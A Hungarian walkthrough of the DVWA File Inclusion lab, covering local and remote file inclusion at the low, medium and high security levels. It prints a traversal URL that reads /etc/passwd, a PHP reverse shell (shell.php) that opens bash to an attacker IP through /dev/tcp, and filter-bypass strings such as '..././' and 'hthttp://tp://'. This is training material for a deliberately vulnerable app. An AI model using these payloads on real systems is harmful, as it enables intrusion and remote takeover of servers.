File Inclusion
1. Bevezetés¶
Ebben a részben belemerülünk a DVWA File Inclusion (fájlbeillesztési) kihívásába, és végigmegyünk az összes biztonsági szinten. Lépésről lépésre megoldjuk az egyes szinteket, feltárjuk a beépített védelmeket, és megnézzük, hogyan lehet azokat megkerülni.
2. Mi az a File Inclusion (fájlbeillesztés)?¶
A fájlbeillesztés egy olyan sérülékenység, amikor az alkalmazás lehetővé teszi a felhasználók számára, hogy megadják, mely fájlokat töltsön be. Ha ez nincs megfelelően kezelve, a támadók ezt kihasználhatják érzékeny fájlok betöltésére, vagy akár káros kód futtatására is.
3. Low Security Level (Alacsony biztonsági szint)¶
A kód az URL-ben található page paraméter értékét veszi át a GET metódussal, és azt hozzárendeli a $file változóhoz, amelyet ezután betölt és megjelenít a weboldalon. A bemenet ellenőrzésének vagy tisztításának hiánya miatt ez a működés sebezhetővé teszi az oldalt File Inclusion (fájlbeillesztési) támadásokkal szemben.
Ez a sérülékenység lehetővé teszi, hogy a támadó tetszőleges fájlt adjon meg a kiszolgálón belül az URL-ben szereplő page paraméter manipulálásával. Mivel a bemenet nincs megfelelően ellenőrizve, a támadó irányítani tudja, hogy melyik fájl kerüljön betöltésre – akár a célkönyvtáron kívüli fájlok is.
Például egy támadó használhatja a következő karakterláncot: , hogy visszalépjen a könyvtárstruktúrában, így kilépve a megengedett könyvtárból, és elérve magasabb szintű könyvtárakat. Ezáltal akár érzékeny fájlokat is elérhet, például a /etc/passwd fájlt.
http://127.0.0.1:4280/vulnerabilities/fi/?page=../../../../../../etc/passwd
Ebben az esetben elhagyjuk a /var/www/html könyvtárat, amely általában a webszerver gyökérkönyvtára, és elindulunk a szerver fő (home) könyvtára felé. Onnan továbblépünk az /etc könyvtárba, és elérjük a passwd fájlt, amely érzékeny rendszerinformációkat tartalmaz — mindezt relatív elérési útvonal-visszalépéssel (path traversal technikával).
Ez egy példa a helyi fájlbeillesztéses (Local File Inclusion – LFI) támadásra, ahol a sérülékenységet kihasználva helyi fájlokat töltünk be a szerverről.
Most pedig nézzük meg a Távoli fájlbeillesztést (Remote File Inclusion, RFI). Ez a sérülékenység lehetővé teszi a támadó számára, hogy távoli szerverekről töltsön be fájlokat, ami akár káros kód futtatását is eredményezheti. Megnézzük, hogyan lehet ezt kihasználni a mi esetünkben.
Először létrehozzuk a test és a shell.php fájlokat, az alábbiak szerint.
cat shell.php
<?php exec("/bin/bash -c 'bash -i>& /dev/tcp/192.168.44.171/1234 0>&1'"); ?>
Meg kell nyitnunk a Python egyszerű HTTP szerverét, hogy a fájl elérhető legyen a hálózaton keresztül.
python -m http.server
Miután elindítottuk a Python HTTP szervert, illesszük be a következőt az oldal URL paraméterébe:
http://192.168.44.171:8000/test
így megnyithatjuk a test fájl tartalmát.
A test fájlra vonatkozó GET kérés megjelenik a python -m http.server konzol kimenetében is. (A Python HTTP szerver konzolján láthatjuk a test fájl lekérését.)
Most a shell.php fájllal fogunk tesztelni, amely egy visszacsatoló (reverse) shellt nyit meg, így a szerver kapcsolódik a támadó IP-címéhez és portjához, lehetővé téve a szerver távoli irányítását.
A shell.php fájl URL-jét fogjuk beírni a page paraméterbe, hogy elindítsuk a visszacsatoló shellt.
Az nc (netcat) parancs használatával figyelhetjük a visszacsatoló shellből érkező kapcsolatot, és távolról kommunikálhatunk a szerverrel.
4. Medium Security Level (Közepes biztonsági szint)¶
A kód átvizsgálása után észrevettem, hogy a str_replace függvényt használja arra, hogy eltávolítsa a http:// és https:// részeket úgy, hogy ezeket egy üres stringre cseréli. Ez a viselkedés hatékonyan eltávolítja ezeket az előtagokat bármilyen bemenetből. Hasonlóan, a ../ és ..\\ részeket is egy üres stringre cseréli.
Azonban ha a …/./ karakterláncot használjuk, a középen található ../ részt kicseréli egy üres stringre, így a megmaradó érték összeomlik ../-ra, ami lehetővé teszi, hogy ezen a trükkön keresztül navigáljunk a könyvtárstruktúrában.
..././ ---> ../
Tehát az LFI (helyi fájlbeillesztés) támadáshoz ezt az elérési utat fogjuk használni.
..././..././..././..././..././..././etc/passwd
Ahogy látható, tökéletesen működött, és sikerült hozzáférnünk az /etc/passwd fájl tartalmához. (Az áldozat gépén megjelenítve az /etc/passwd tartalma.)
Most lépjünk tovább az RFI-re (Távoli fájlbeillesztés). Ugyanezt a technikát alkalmazzuk úgy, hogy az URL-ben a http:// helyett ezt illesztjük be: hthttp://tp://, ami zökkenőmentesen átalakul http://-vá, így megkerüli az ellenőrzést.
hthttp://tp:// ---> http://
Ez is működött, ahogy az alábbiakban látható, egyértelműen megjelenik a test fájl tartalma. Ezután teszteljük a shell fájlt.
5. High Security Level (Magas biztonsági szint)¶
A kód átvizsgálása után észrevettem, hogy hibát dob, ha a fájl neve nem file-lal kezdődik, és nem az include.php fájl.
Ennek megkerülésére a file:// protokollt fogjuk használni, amely lehetővé teszi, hogy a helyi fájlokat a rendszerből olvassuk be, nem pedig a webszerverről. Ezáltal az URL manipulálásával megjeleníthetjük például az /etc/passwd fájl tartalmát.
Az RFI esetében azonban a bevezetett biztonsági intézkedések miatt ez nem lehetséges, mivel hatékonyan megakadályozzák az ilyen kísérleteket.